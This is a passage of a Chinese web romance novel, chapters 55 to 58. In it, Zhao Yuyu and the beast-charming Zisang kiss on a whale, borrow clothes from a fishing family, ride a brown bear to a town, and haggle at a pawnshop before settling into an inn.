她感到子桑有些拙劣地伸出舌尖舔了下她的双唇,扑扇般的睫毛轻扫过她的脸颊,像是粉雾扑面,微微的瘙痒,一直痒到心底。
蓝鲸鸣叫着喷出巨大的雾柱,泼泼洒洒飘到他们身上,将周遭蒙上了一层薄纱般的雾隔绝了一切,仿佛世界唯余他们两人。
子桑已经从她的唇上褪去,原本苍白的双唇因为方才亲昵的揉擦而渐渐从唇底洇出丝丝缕缕的红意,像是染了一层上好的胭脂,在玉白面容的衬托下透着丝鬼魅般的引诱。
他看着赵玉屿发怔的神色,缓缓扬起唇角,伸手抚在赵玉屿的心脏上,感受着她紊乱的心跳,点漆黑眸亮如繁星,轻声道:“当初在海底,是我救了你,用你教我的方法。”
赵玉屿此时脑袋发懵,听着他的话半晌才能重新开始思考。
她教子桑的方法?
宕机的脑海中飘忽冒出明媚的船窗边,她捧着小海鸟时得意洋洋说过的话。
“心脏复苏就是人快死的时候一种救命的手段,按着心脏反复压啊压,若是溺水了,还得人工呼吸,得要嘴对嘴渡气呢。”
她的面颊一瞬间滴血似的发红,的确是她教的。
第55章
赵玉屿一时无言,不是,她明明是往救人的方向教,怎么感觉突然就变味了呢。
她抿了抿唇,唇瓣相贴时似乎还能感觉到方才异样的酥
麻,忍不住呼吸微滞,面色通红,气氛一时有些尴尬。
赵玉屿掌心浮了一层虚汗,忍不住放在衣袖里搓了搓,轻咳一声张口,刚想告诉子桑人工呼吸跟接吻是两个概念,不能混为一谈,一抬眸,就看到子桑平静又无辜的漆黑眼眸,仿佛未曾沾染丝毫的情欲,真如他方才所说那般是一个吻换一个吻,平等交换而已。
赵玉屿:“”明明被占便宜的是她,但为什么总觉得自己才是想法肮脏的那个人。
他刚才不仅亲了自己,还舔了她啊!最后还略有余味的又轻啄了一下,简直涩情至极!!!
可是现在做出这种无辜又天真的表情是几个意思,感觉她才是引诱纯洁少年堕落的怪姐姐一样!
赵玉屿几番欲言又止,表情逐渐扭曲,挣扎半晌最终捂着脸叹了口气。
算了,就当是个误会吧,好像解释起来更容易掰扯不清。
子桑眼中闪过一丝微黯的笑意,他方才望着赵玉屿的唇,脑海里不由浮现出当初海边的那一吻,心中微悸,便生出了想要再尝试一次的念头。
他向来是个行动派,便顺着她的话吻了上去。
唇齿相贴的那一刻,果然,同当初一模一样的柔软和心动。
只是少了份关心则乱的急切担忧,多了丝婉转柔情的撩拨暧昧。
一吻结束,子桑意犹未尽地舔了舔赵玉屿的唇畔,望着赵玉屿绯红的脸,想来她也是喜欢的,不然不会同他一样抿唇回味。
赵玉屿:“?”
她那是在回味吗?她那是那是好吧是有一点回味。
毕竟那可是她的初吻啊喂!
赵玉屿一时思绪紊乱,双手抱着膝盖,脑袋埋在膝盖里当鸵鸟。
无辜的小祖宗还不放过她,俯身凑到她面前好奇问道:“玉儿,你怎么了?”
赵玉屿埋着脸不愿意出来,闷闷道:“没,没什么你让我静静。”
子桑见她忽然心情不佳,有些纳闷,但既然赵玉屿说了,他便不再打扰她。
可赵玉屿缩着脑袋许久,子桑在旁边等了半晌都没见她抬起头,忍不住伸出手指戳了戳她的胳膊。
赵玉屿一扭身子,依旧缩着脑袋,子桑再戳,她又一扭身子躲开,仍旧闷闷不乐的模样。
看来是真的不开心。
子桑虽然不解她为何忽然郁闷,但自觉肯定不是因为方才的吻,毕竟两人都很回味,可见是欢喜愉悦的事情。
想起自己以前心情烦闷时的消遣,他思索片刻,修长的手指勾起玉笛。
赵玉屿缩着脑袋缓了许久,才从方才的懵圈和悸动中抽身而出,深呼一口气刚想当做什么都没发生,忽而听到随着四下海浪翻滚声悠悠飘入耳中的悠扬笛音,与此同时,似有鱼贯扑水的声响和高昂鸟鸣隐隐传来,赵玉屿微怔,抬起头望去。
入眼,宽阔无垠的碧蓝海面上徐徐波涛泛起,无数海鸟自海天一线处青蓝水波的晨曦中飞来,扑腾着灰白的羽翼在天空成串盘旋飞转,像是撕碎的信纸从窗口洋洋洒洒地飘落,呼啦啦一下被风卷起,凌乱又整齐的飘荡在半空中。
悠扬的曲调起伏间,海鸟们瘦长的身姿随乐而舞,在交织的乐网中随着一波又一波海浪涤荡、轻旋,变幻成不同形状。
赵玉屿瞪大眼睛惊呼一声,看着半空中无数海鸟组成的图案。
那是她之前给子桑画过的一只小猫咪,眯眼伸着懒腰,慵懒而狡黠,下一刻,海鸟骤然打散,又转瞬组成其他的图案。
熊猫、玉兔、狐狸、猎犬皆是她送给子桑的手办图案。
而后,一只巨大的猴头在半空中浮现,猴大顿时蹦得蹿天高,又惊又喜,叽里呱啦尖声怪叫,指着半空中的自己在鲸背上来回蹦跶不止。
赵玉屿瞧着漫天的卡通小动物忍不住展颜大笑,将猴大抱在怀里看着天空的神祇。
子桑见她开怀,双眼略弯,手中玉笛曲调陡然一转,忽而道道婴儿啼鸣破开海面萦绕耳畔。
无数海豚一跃而起,在浩荡无垠的海面上划过一道完美的弧度,尾鳍飞溅起的水花像是在海面炸开的簇簇烟花,绽放于晴空之下。
十几头鲸鱼排成回圈,将它们团团包围住,尖唤着喷出细密的雾柱,随着海鸟的飞翔轻旋时而连成一片,时而高低错落,宛若音符喷泉为这场盛乐助兴。
一曲既罢,笛声缓停,海鸟鱼群却并未散去,依旧围绕着他们尽兴的翻腾飞舞,鱼跃天空,鸟滑碧波,在这一刻,天与海交相辉映,不分彼此。
一只鸟的羽毛翩翩落下,赵玉屿伸出手想要接住那片羽毛,却无意召来一只飞鸟。那鸟儿温顺地落在她掌心,歪着脖子蹭了蹭她的手。
赵玉屿欢喜地摸了摸它的脑袋,忍不住朝子桑喊道:“子桑大人,你快看!”
她朝后望去,就见子桑坐在她身后不远处,一只手垂着玉笛,另一条胳膊压在膝盖上,手掌抵住下巴,正歪着脑袋一瞬不瞬地望着她发怔。
他的目光深沉而宁远,仿佛这样望了她良久。
赵玉屿被他的眼神瞧得呼吸一滞,好不容易缓和的心脏再次揪起,她有些不自然的摸了摸脸,以为自己脸上沾染了脏东西,结结巴巴道:“你,你盯着我看做什么我脸上有东西吗?”
子桑发怔的目光收回,眨了眨眼有些迷茫地望向她,显然没听到她方才的话,却并未收回凝望她的目光。
赵玉屿眼眸微乱,只当方才什么都没说。
气氛似乎再次尴尬起来,她咬了咬下唇,抽出腰间的玉笛。
人在尴尬的时候,总会不自觉的找事情做。
赵玉屿摸了摸头发挠挠脸,一分钟八百个假动作,旋即深吸一口气吹奏玉笛。
好在她平日里勤加练习,如今笛声虽依然算不上娴熟,但也堪堪可以入耳,不至于惊天地泣鬼神折磨一票鱼鸟。
悠悠笛声再起,比起方才子桑的灵动多变,少了份娴熟,多了份悠扬恬静,像是醇厚的一汪江水。
鱼鸟似乎也慢了下来,围绕着他们翩翩而动。
笛声洗神静心,舒心缓意,赵玉屿闭上眼睛,沉浸在起伏悠扬的曲调中,暂且遗忘了方才的尴尬,感受着和风轻抚。
阳光毫不吝啬的肆意铺洒在她身上,将她毛绒绒微卷的长发边缘勾勒出金色的边线,朦朦胧胧透着橘光,宛若红霞云层中透出的太阳。
长风吹过,她随着曲调的起伏略微昂着头,长发滑落肩头,随着滑落的弧度描摹出一道金色的痕迹,子桑恍惚间想要伸手抓住她的长发,但发梢却在指缝间滑落。
忽而,赵玉屿脑海中不知怎么浮现出海边朦朦胧胧的画面,模糊的眼前一片红衣飘过,柔软炽热的呼吸喷洒在她的脸颊上,唇齿间却是冷冽清雪的味道。
赵玉屿气息不稳,手一抖,音调陡然劈了叉,像是猫抓墙皮,刺啦划破了天,一瞬间惊得群鸟哗啦啦扑腾起,光速飞散,鱼群从半空摔落在水面,顿时消失在海面下扭身游走。
蓝鲸虽体型庞大动作滞缓,却也被惊得浑身抽搐,庞大的身躯猛然翻腾,将背上两人顷刻间甩了下去,赵玉屿尖叫着落入水中,子桑方才正在发呆,一时没反应过来及时制止,也身子一歪被无情地甩下了水。
子桑:“……”发生了什么。
好在他们离岸边已经不远,蓝鲸翻腾间卷起的巨大潮浪将他们冲向海岸。
子桑眼疾手快一手搂着赵玉屿的腰,一手扯着猴大的腿,拖家带口游到岸边。
见两人扑腾到了沙滩上,蓝鲸高鸣一声,顿时头也不回地逃窜回大海深处,也不知道是怕子桑生气,还是害怕赵玉屿的魔音穿耳。
赵玉屿:“……”看着见鬼一样逃离的蓝鲸,她抽了抽嘴角,自觉对不住它们的耳朵,又瞧了瞧坐在一旁浑身湿透的子桑,他正按着猴大圆鼓鼓的肚子。
猴大此时双眼紧闭很是安详,肥厚的嘴唇里喷出小半米高的喷泉。
赵玉屿顿时歉意又尴尬一笑,捂着胃也“哇”得吐出好几口水。
两个人水鬼一样湿漉漉上了岸,再加一只刚活过来的水猴子。
他们浑身都湿透了,身上难受得很,只得拖着阴湿的脚步水嗒嗒的穿过沙滩,找到几家渔户的偏僻渔村。
一户人家前坐着一个正在织补渔网的渔家女,瞧见两人先是一惊,旋即撒丫子跑回
家大喊:“娘!水猴子成精了!水猴子成精了!”
“……”
不一会儿,屋里跑出来一个干皮皱脸黑瘦黑瘦的妇女,瞧见两人,顿时嗐了一声,手指一推女娃的脑袋:“吓死你娘了,什么水猴子,这不是两个活生生的人吗!”
那女娃“啊”了一声,听到这话小心翼翼走上前瞧着赵玉屿两人上下左右细细端看好一阵,旋即指着毛都粘湿在身上光屁股的猴大喊道:“娘,他们肯定是水猴子,你看这不还有个没成精的吗!”
子桑本被她一直瞅着心中就有些不耐,见她居然将自己的长相同猴大相提并论,顿时冷眉一竖,赵玉屿见他目光不善,知晓这丫极其自恋的家伙心中必定是极度不爽,顿时上前打哈哈,朝那妇人唤道。
“这位姐姐,我们兄妹俩本是出海的船商,结果不幸遇到暴风雨,船只沉了,家仆尽散,只余下咱们两人和这猴头侥幸逃上了岸,好不容易才走到这里,没想到竟然遇到姐姐这般面善的好人,还请姐姐怜悯,赐我们两件衣服穿吧。”
第56章
这妇人见她嘴竟这般甜,摆了摆手笑得合不拢嘴:“什么姐姐的,我都是俩孩子的母亲了!”
她又瞧赵玉屿两人皆是粉雕玉琢的漂亮长相,跟画像上的金童玉女一般,衣服也不似寻常人家的粗布衣料,当下也信了她的话,连忙道:“可怜见的,快进屋换上衣服暖和暖和吧。”
妇人又朝那女娃唤道,“对了二丫,快去烧点热水来,让哥哥姐姐擦擦身子,不然会着凉的。”
赵玉屿顿时笑眼弯弯,拉着子桑的手朝屋里走:“哎,谢谢姐姐~”
子桑瞧着她牵起自己的手,唇畔略扬,然而好心情旋即在进屋的那刻荡然无存。
这茅草屋子不大,四四方方一眼便能瞧到底,只有一个掉了半扇柜门的旧柜子,柜子上面摆着一箩筐小鱼干,架着一面圆镜。屋中央一张桌子旁围了几个崴脚矮凳子,墙上挂了几张破渔网,上面勾着些晒干的咸鱼和各种杂物工具,还有几串漂亮的小贝壳,墙角两张床拼在一块儿,满屋子的鱼腥味。
子桑闻到这味便觉得冲鼻,眉头紧蹙,掩住鼻子屏气便想往外退,赵玉屿见他要走连忙拽住他的手,凑到他耳边低声劝道:“子桑大人,人家借咱们衣服穿,你若是嫌弃地退出去不是辜负了人家的好意吗,再忍忍哈。”
子桑本不情愿,他平日里随心所欲惯了,未曾忍耐过什么,尤其是这股令人作呕的味道着实熏得他头晕目眩,胃里一阵翻江倒海难受得要死,但瞧着赵玉屿略带哀求的神色,他挣扎片刻,还是停下脚步心不甘情不愿地呆在她身后,只是面色便没那么好看。
那妇人倒是不在意,笑言道:“咱们这些渔民自小伴海而生,平日里都是跟海货打交道讨生活,这屋子难免沾染些鱼腥味,你们城里的公子小姐啊自然受不得这味道。”
她不一会儿便从衣柜底下里翻出两件衣裳,笑着捧出来道:“咱们这也没什么好衣裳,这两件都是刚做好的还未穿过,我男人他们爷俩出了海,一时半伙回不来,这衣服你们将就些先换上吧。”
赵玉屿双手接过衣服感激道:“多谢姐姐。”
她摸了摸身上也没什么值钱的东西,索性摘了子桑脖子上的金圈塞到妇人手里:“姐姐,这金圈就当是咱们买衣服的钱了。”
子桑:“!”
这是他的金圈。
赵玉屿望着他猛然睁大的眼眸,笑呵呵拍了拍他的手安抚,凑到他耳边低声吹着彩虹屁:“子桑大人,我知道你从不是小气的人。”
子桑抿了抿嘴,这话倒也没错,只是他如今身上就这一套首饰,还是他最喜欢的首饰。
罢了,玉儿既然说了,给了就给了吧。
反倒是那妇人见她这般客气,连连摆手:“这,这怎么能行呢。咱们这粗布衣裳不值几个钱的,怎么能换这么贵重的东西。”
赵玉屿笑道:“虽然衣裳简朴些,但对咱们兄妹来说却是解了燃眉之急。”
而且瞧着这屋子的环境,怕是这一家人平日过得也艰苦,却还舍得拿出干净新做的衣裳赠与他们,更是难得可贵。
赵玉屿按住她推脱的手恳切劝道:“您就收下吧,不然咱们也不好意思穿这身衣服。而且,我也是想再讨些小鱼干当做干粮路上吃,不知道行不行?”
妇人听到这话连忙应下:“行行行,当然行!你们先换衣裳,我这就去给你们炸些新鲜的,裹上酱汁可好吃了!”
说罢她便捧着金圈喜滋滋地出去。
二丫很快便将热水抬了进来,海边水源吃紧,一时半伙也只能弄来小半桶的热水,赵玉屿原是想让子桑先洗,毕竟热水不多,子桑又向来是个矜贵的主,让他在这沐浴更衣已是勉强。
然而子桑捏着鼻子瓮声说了句“你先洗”,旋即便抬脚先出了屋子。
赵玉屿以为他受不了屋子里的咸腥味,便随了他去,想抱着猴大给它也一起洗洗。结果子桑见了,一把揪住猴大的耳朵将它拖出去。
猴大:“”QAQ
屋中没有其他人,赵玉屿插上门栓褪去身上黏湿湿的衣服,用热帕子擦了擦身体才觉得舒爽些。
换好衣裳站在衣柜前照了照,细麻的布料虽不太贴身但也不扎人,腰间用麻布编织的网带扎上当做腰带。她用一块淡色的布条裹着长发斜斜编了一条麻花辫垂在胸前,抽出些发丝略显蓬松,别上些小贝壳,简单却也趣致。
“子桑大人,你来换衣裳吧。”
打开房门,子桑正蹲在门口的泥地上拿着根树枝画东西,听到开门声,他将树枝一丢,起身揪着猴大进了屋。
赵玉屿闲来无事,走到子桑方才蹲着地方望去,就见地上画了一串连环画。
一只狸花猫在仙鹤的旁边滚来滚去,一会儿笑眯眯亲昵地蹭着仙鹤,一会儿抱着仙鹤的脖子撒娇。
最后一幅,仙鹤伸出尖长的灰喙啄了啄小猫撅起的嘴巴,将它整个紧紧搂在羽翼中爱不释手。
赵玉屿歪了歪脑袋,想起在海上时海鸟变化的图案,最开始也是一只猫儿。
她摸着下巴思忖,这只仙鹤是小白?
难道小白喜欢上了一只猫?!
不会吧,她咂了咂舌,这生殖隔离得有些远啊
又或者是子桑大人最近看上哪只狸花猫了,想抱回来养?
离正确答案倒是很近了,但赵玉屿还未来得及深思,子桑就已经出来了。
他着实受不了满屋子浓郁的咸腥味,随意擦了擦便换好衣裳出来。
见赵玉屿正端详着连环画,他倒是面色如常,丝毫不觉得心思被戳破,理了理衣袖,期待着赵玉屿对他的画作给出评价。
赵玉屿望着他欲言又止半天,最终道:“子桑大人,感情虽然可以突破重重阻碍,但生殖隔离还是一个比较严肃的问题。”
子桑:“?”什么隔离?
“快快快,新鲜热乎的小鱼干,快尝尝!”
正巧渔妇端了一锅刚出炉的小鱼干从屋后绕了出来笑道,“我又炒了些酱料裹在上面,你们快趁热尝尝看!”
赵玉屿很
是配合的捏起一块小鱼干送入口中,眼前一亮毫不吝啬地夸赞道:“姐姐手艺真好,这小鱼干又香又酥好吃得很!”
渔妇被夸得双眼弯出褶子热情地朝子桑也道:“小哥儿你也尝尝~好吃的话我给你们多带些路上吃!”
赵玉屿知晓子桑的性子,太过热情的陌生人反倒会让他反感,生怕小祖宗一个不高兴将人给处置了,便主动捏起一块小鱼干走到子桑面前,送到他嘴边双眼弯弯含笑道:“哥哥你尝尝看,这小鱼干炸得极好,又香又酥酱汁酸甜辣俱佳,定是你喜欢的口味。”
浓郁的炸油香裹杂着酱料的甜酸钻入鼻腔,却都被那一声“哥哥”的甜腻掩下。子桑的呼吸被骤然打乱,一丝红晕悄然顺着耳根爬上面颊,他望着赵玉屿溢出星辰的眼,不自觉顺着她的话张开嘴咬下小鱼干,漆黑且大的眼眸却直勾勾盯着她的笑眼,舌尖似是卷起小鱼干时不经意间勾到她的指腹,温热而湿滑,带起一股异样的酥麻,触电般顺着指尖和手臂流窜至心尖。
赵玉屿身子一僵,指尖微颤着收回了手,目光慌乱四下乱飘,猛然转身遮掩似的朝渔妇大声道:“很好吃!多谢姐姐了!”
那渔妇被她陡然拔高的声音吓了一跳,捂着胸口道:“好吃就好,好吃就好,那我给你们装到袋子里,你们路上饿了吃。”
说罢,她便端着锅到屋里去找袋子。
屋外只剩他们两人,赵玉屿正心神慌乱不知所措,忽而感到一阵湿热的气息扑耳而来,携着低沉缠绵的轻唤丝丝缕缕钻入耳蜗里。
“玉儿。”
赵玉屿猛然一颤,捂着耳朵惊兔一般跳离子桑三尺远,结结巴巴道:“你,你怎么突然离我那,那么近?”
“我方才唤你你没听到。”子桑歪了歪脑袋,似是对她怪异的举动有些好奇,“你怎么了?”
见他一脸无辜,不似撩拨之后的得意,赵玉屿甚至开始怀疑方才是不是自己太过敏感了。
“没什么,就是就是我担心你吃不惯小鱼干。”
子桑唔了一声,伸出修长清峋的手指摸了摸唇瓣:“还行吧,现在好像也没那么抵触了。”
他微勾起唇角,而今回忆起海风的味道,似乎总是伴随着赵玉屿身上的轻香。
赵玉屿点点头,挠了挠脸无措道:“那就好好事,好事哈。”
两人将换下的衣服叠好装在包袱里,渔妇又给他们塞了些铜钱当盘缠,赵玉屿知晓她是为了回报那只金项圈,便笑着收下了。
挥手跟渔妇母女两人告别后,他们便离开了渔村。
渔妇告诉他们,离开村子一直朝西,穿过树林差不多二十里路便能到小镇。
二十里路而已,赵玉屿信誓旦旦,必定在天黑之前到达小镇。
结果刚走了不到两里,子桑就懒得动了。
赵玉屿看着他死乞白赖双手环胸靠在树干上就是不动,无奈劝道:“子桑大人,二十里路很快就到了,您平日里轿不离脚,脚不沾地,正好当做锻炼身体的机会。再说了,还是您自己说既要看看山川风景,又不要被大雍他们发现,所以不能乘小白引人注目的。”
子桑眉梢一挑:“只是不能骑小白而已,又不是没有其他能骑的。”
第57章
不骑小白,那陆地上只能骑马了。
赵玉屿茫然看了看四周:“可是这里也没马啊。”
子桑不置可否,扬起嘴角,手指翻转间悠悠吹响玉笛。
绵长的曲调顺着长风灌入树林,不一会儿,赵玉屿感到脚下不稳,头晕目眩,地面似乎在剧烈震动。
四周的树叶萧萧飘落,将松软的土地铺上了重重叠叠的绿意。似乎有咆哮声从黑洞洞的树林深处传来,赵玉屿扭头望去,就见远处茂密的枝叶中冲出来一只体型硕大、獠牙尽现的棕熊。
赵玉屿:“”
骑熊啊好创意。
那只棕熊飞奔到子桑他们面前,咧着血盆大口,双手抱拳作揖,一副憨态可掬的忠厚老实样,甚至因为机动扭动起双臂兴奋又笨拙地跳起了怪异的舞蹈,似乎为见到他们而高兴。
赵玉屿朝它伸出手,棕熊顺从的伸出手掌,尖利的五爪小心翼翼收起,露出肥嘟嘟黑乎乎的掌心。
赵玉屿摸了摸它肥厚的熊爪,坚硬粗糙,掌心处有几道陈年累月的划痕,上面还沾着几根杂草。
猴大已经一跃而起,兴奋地跳到了棕熊宽厚的肩头挥动细长的双臂,一副林中草莽、山中大王的架势耀武扬威。
棕熊非但没有生气,反而顺势扑倒四肢朝地,猩红的长舌舔了舔湿漉漉的鼻头,朝赵玉屿歪了歪头。
赵玉屿望向子桑,子桑已经一撩衣摆坐在了棕熊宽阔健硕的背上,朝她伸出手。
赵玉屿见状也握住他的手顺势爬上熊背。
棕熊不似小白身上有背鞍,她朝后挪了挪跟子桑保持距离,尽量不贴近他的身体,免得尴尬。
子桑倒是不以为意,悠悠吹了声口哨,棕熊应声昂首高喝,缓缓朝前走去。
骑熊是一种全新的体验,穿过幢幢人影般的树木,掠过重重叠叠细碎斑斓的树叶,鼻尖可嗅到空气中浮起的飘忽青草的清芳,树林上方是飞鸟盘旋的婉转啼鸣,扑啦啦飞过头顶,飘落几片鲜丽的羽毛和橘绿相间的树叶。
整个世界似乎被绿意包围,周遭划身而过的枝叶是青雾般的绿色,树干上抹着的苔藓是潮湿浓郁的绿色,棕褐色土地的角落里也时不时冒出些或新鲜或蔫巴的绿草鲜花,踩在土地里,将土地也染上了湿糯的绿色,就连飞鸟的歌喉都是绿色盎然。
赵玉屿深吸一口气,正惬意轻嗅着林间新鲜的空气,忽而棕熊似乎受了刺激,猛然加速四脚狂奔穿林而过。
赵玉屿尖叫一声朝后仰去,差点摔下熊背,好在子桑似乎早有预料,眼疾手快抓住她的胳膊将她拉回。巨大的惯性让赵玉屿一个扑腾贴在子桑背上。
棕熊飞扑间颠簸不止,赵玉屿吓得紧紧搂住子桑的腰,大声喊道:“子桑大人,它怎么突然跑这么快?”
子桑轻唔一声:“不是要天黑之前入镇吗,再不快点就要在丛林里过夜了。”
有道理。
可是这颠簸得实在有些吓人,她喊道:“那也不用这么快啊!”
棕熊似乎听到了她的话,以为是在表扬自己,兴奋得想要表演一下自己过硬的飞驰技巧,大吼一声冲向树干,在即将撞树的一瞬间陡然拐了一个弯,侧面几乎贴地而行,后脚猛地蹬在树干上,笨拙的身子飞扑而出,一落几丈远,将树木踹得震天响,落叶自天心飒飒飘下,落了赵玉屿满头满脸的叶子。
赵玉屿“”刺激。
这惊险程度堪比小白的三百六十度急转弯了,而且还是没有任何安全措施的前提下。
看着身前唯一的防护工具——子桑,赵玉屿果断抛弃尴尬和矜持,死死抱住他的腰肢,身体紧贴着他的背脊,将头鸵鸟般埋于他的后背。
感受到身后少女柔软温热的相贴和毫无保留的托付,子桑在无人可见处勾起嘴角,伸手拍了拍棕熊的脖颈。
棕熊得到指示,缓缓慢下脚步,不似方才的狂野却依旧保持着疾行。
终于在红日落下山头的那刻,两人出了茂密的树林。
子桑落了地,转身朝赵玉屿伸出手。
赵玉屿的屁股和大腿已经被颠麻了,她嘶溜着嗓门小心翼翼抬起酸麻的腿,抓着子桑的手从熊背上滑下,才没有再次重演将子桑整个人扑倒在地的尴尬。
她揉着腿朝棕熊道:“谢谢你啊熊熊,跑得,跑得真快”
棕熊低吼一声,朝他们点了点头,旋即转身慢吞吞朝树林深处走去,很快便被隐隐丛丛的树叶掩去了身影。
朝棕熊挥手告别后,两人便朝小镇走去。
天色渐青,小镇上的行人不多,街道上只有零零散散几个人。
赵玉屿先在镇子上找了家当铺,将子桑剩下的首饰当了换些银钱。
当铺掌柜对金饰瞧了再瞧,细长的三角眼微亮,却不露声色,伸出五个手指蔫不唧唧道。
“五十两银子。”
赵玉屿细眉一竖:“五十两?开什么玩笑,这可是
纯金的首饰,上好的工艺品!”
掌柜的一摆手:“在我这就值五十两,你若是不换也可以,反正这镇子上就我这一家当铺,请便。”
来这典当东西的人哪个不是家境困难手头吃紧,尤其他们这种一瞧就是外来客的,拿捏起来简直手到擒来。
赵玉屿知晓这掌柜的定是见他们好欺负故意压低价格,一撇嘴,将金饰一收,边装起来边悠悠道:“不卖就不卖,反正我们也手头吃紧,大不了我去找个铁匠把这金子熔了,好歹能熔几个金豆子,总比银子要强!”
“就是可惜了这上等的做工,多少银子都换不来嘞。”她叹了口气一脸惋惜地摇了摇头,“没办法,天意如此啊!”
那当铺掌柜的一听她要将东西给熔了,顿时急喊住她:“等等等等,这好歹,这好歹是样首饰,熔了便不值钱了!”
赵玉屿状若不懂:“这是我唯一的首饰了,我娘说了,这首饰值一百两银子,自然不能贱卖了。”
那掌柜思忖片刻,做出痛心疾首的模样:“要不这样,我瞧着这首饰的确精致,熔了太可惜了,我给你再加二十两,就当是这手工钱如何?”
赵玉屿也伸出五根手指晃了晃:“加五十两。”
那掌柜一噎:“你不能坐地起价啊!”
赵玉屿也不多啰嗦,背起包袱转身就要走,掌柜的见她当真没丝毫迟疑,连忙喊住她:“行行行,一百两就一百两!”
赵玉屿笑眯眯将首饰放回当铺:“成交!”
这首饰可是帝都最精湛的工匠们赶制出的饰品,自然不止一百两白银,但当铺还要经手专卖,中间的差价自然要算进去,他们也急着脱手换钱,一百两算是双方都能接受的价格。
一百两银票的面额太大,赵玉屿又换了五十两的碎银和一些铜板放在钱袋里,掂量着沉甸甸的钱袋满满的安全感。
见街上有卖糖人的,她顿时兴冲冲拉着子桑道,一拍胸脯豪气冲天道:“子桑大人,你不是喜欢吃糖人吗,咱们现在是大户,要多少咱们买多少!还有,今晚上咱们住镇上最好的厢房!”
子桑捏起一根糖人,望向赵玉屿有些疑惑:“一百两银子,能够几日的开销?”
他从小就没接触过钱这一概念,离开雪域后,因为驭兽之能看到喜欢的东西向来是指使猴大他们直接抢。之后便被大雍奉为神使,锦衣玉食供养,吃穿不愁,衣食无忧。
赵玉屿算了算:“咱们要是精打细算一点,够用很久的了,不过也不用那么节俭啦,吃喝玩乐样样不缺,想买什么就买什么,一个月也够了!”
子桑颔首:“也行。”
两人先去客栈办了入住,赵玉屿一进客栈便底气十足喊道:“掌柜的,一间最好的客房!”
小二一甩抹布,麻溜喊道:“好嘞!客官您来得正好,天字壹号房正空下呢,您二位楼上请!”
他笑着将赵玉屿两人引入二楼,推开厢房门笑道:“二位先休息,茶水等会便送到。”
赵玉屿笑眯眯:“多谢小哥。”
她走进房间推开临街的窗户,深吸一口气,视野开阔,空气清醒,街道上便有各家酒楼饭馆,不错不错。
回头一看,子桑却站在床边面色凝重。
“怎么了?”
子桑指着床铺:“棉被。”
赵玉屿尴尬笑了笑,铺床道:“天冷了,棉被暖和。”
他又指了指床帐:“布帐。”
“布帐才防蚊虫呢,保暖又透气!”
子桑目光扫过桌子,掩袖厌恶道:“劣质熏香。”
赵玉屿连忙将熏香掐灭:“咱不闻这个,空气清新有利于身体健康。”
子桑张开衣袖:“麻布衣服。”
“这个可以满足!”
赵玉屿嘿嘿一笑,“我们现在就去买衣服!一两件丝绸衣服还是买得起的!”
子桑嫌弃:“一两件?”
赵玉屿见他要求苛刻,摊手无奈解释:“哎呀子桑大人,您往日的衣服可都是高端定制,咱们如今这条件是要差那么一丢丢,您忍忍嘛,之前在小木屋住得不也挺好的。”
子桑觉得自己被忽悠了,眉头微拧:“是你说的样样不缺。”
而且就算在小木屋,他也没缺过她丝绸衣被玉碟美食。
赵玉屿试图洗脑:“子桑大人,咱们既然出来游山玩水,自然是要入乡随俗,跟民间的百姓一样啊。”
子桑不为所动,嗤之以鼻:“我为何要同他们一样。”
他生来就是个异类,他所有的苦难也都是因为与旁人不同。
子桑早已接受了自己痛苦的来源,既然他承受了这份痛苦,那因为异类而带来的福祉也合该他享受。
既然自出生就注定是个异类,又何须费尽心力遮遮掩掩。
子桑实在不明白赵玉屿为何要绕着大圈子自讨苦吃,他们明明可以轻而易举的得到一切。
只要她想,权力、地位、尊严、金银珠宝,他都可以给她,可她偏偏不要。
赵玉屿从他的眼神中读懂了他想白嫖的心思,顿时情真意切的劝道:“子桑大人,我知道对于你来说,想要什么东西都能轻而易举的得到,可是你不觉得,越是容易得到的东西就越不会珍惜吗?”
子桑嗤之以鼻,珍惜?
这个世界上绝大多数的东西都是烂泥,何须珍惜。
然而他原本蔑笑的目光在望向赵玉屿粲然眼眸的那刻忽而怔住,脱口而出的话哑在嗓子里。
好像好像有那么一件
赵玉屿以为他不以为意,换了种说法:“那子桑大人你有没有想过,为什么那些瑶山族人会如此畏惧你呢?真的如他们所言是因为什么七魄邪狞吗?”
第58章
“如果他们面对的是一个弱小的人,即便再邪恶他们也不会畏惧,就如同在你小时候,他们没有选择直接杀死你,而是将你关在黑牢中。但是当你和子桑岐长大了,他们从子桑岐的身上看到了同为神子的你,或许和子桑岐拥有着一样的天赋异禀时,他们便想铲除你。因为你们的力量让人畏惧,而这股力量,他们得不到。”
子桑听到这话眉头微拧,赵玉屿接着道:“子桑岐之所以受到瑶山族中的崇拜,是因为瑶山族人觉得以子桑岐的性格,他们可以控制住这股力量。而正如您在大雍受万民朝拜一样,也是因为他们得不到你们的力量,又渴望您的力量,才会倍加珍惜。”
赵玉屿娓娓道来,“所以子桑大人你看,人们对于得不到的东西便会倍加珍惜,对钱也一样,白拿自然很容易,但是只有通过自己努力赚到的钱才能够有成就感,才会学会珍惜。而且这世上芸芸众生诸多不易,他们赚的每一分钱都是通过汗水得来的。”
她扯着身上的衣服道,“如渔村的母女,她们可能每日捕鱼织网,从早忙到晚才能赚到几块铜板,但是她们却依旧愿意帮助我们渡过难关,这样的人难道不值得珍惜吗?所以我们不应该白拿他们的东西,反而应该投桃报李,竭尽所能的帮助他们。”
赵玉屿笑了笑,“其实庙里的神佛之所以受人崇拜,也是因为人们希望神佛能够帮助他们渡过难关,实现心愿。所以这世上并没有什么高低贵贱之分,只要有一颗助人为乐的向善之心,都会让人喜欢的。”
知晓子桑自小没有人教导,赵玉屿也没指望一时半伙就能让他接受自己说的话,所以她耸了耸肩,笑着拉起子桑的手哄道。
“好啦,反正咱们现在还有钱嘛,尽兴的玩就好啦,子桑大人你看上什么我都
给你买,好不好?”
子桑感到掌心一热,垂眸瞧着她握住自己的手,忍不住弯起嘴角。
两人收拾好房间后便在小镇上闲逛,陲野镇是典型的北方小镇,民风粗犷,连食物都异常粗犷,卖东西都是论斤卖。
原本赵玉屿想买些糖葫芦当零嘴,结果这里的糖葫芦是哗啦啦一堆滚在大方盘子里,上面沾着白色的糖霜,铁手一抄就是一大把,看着甚是好吃。
赵玉屿自小就是南方人,没见过这架势,伸出手指道:“给我来四个糖葫芦球。”
她盘算着一人两球尝个鲜,还要留着肚子吃其他东西呢。
那摊主瞧着她身上的粗布衣服,又瞧了瞧她身后子桑那冷然的模样,叹了口气直接抄了一袋子糖葫芦塞到她手里:“大妹子,这就当哥送你的。”
赵玉屿:“?”
这里的人都这么好心的吗?
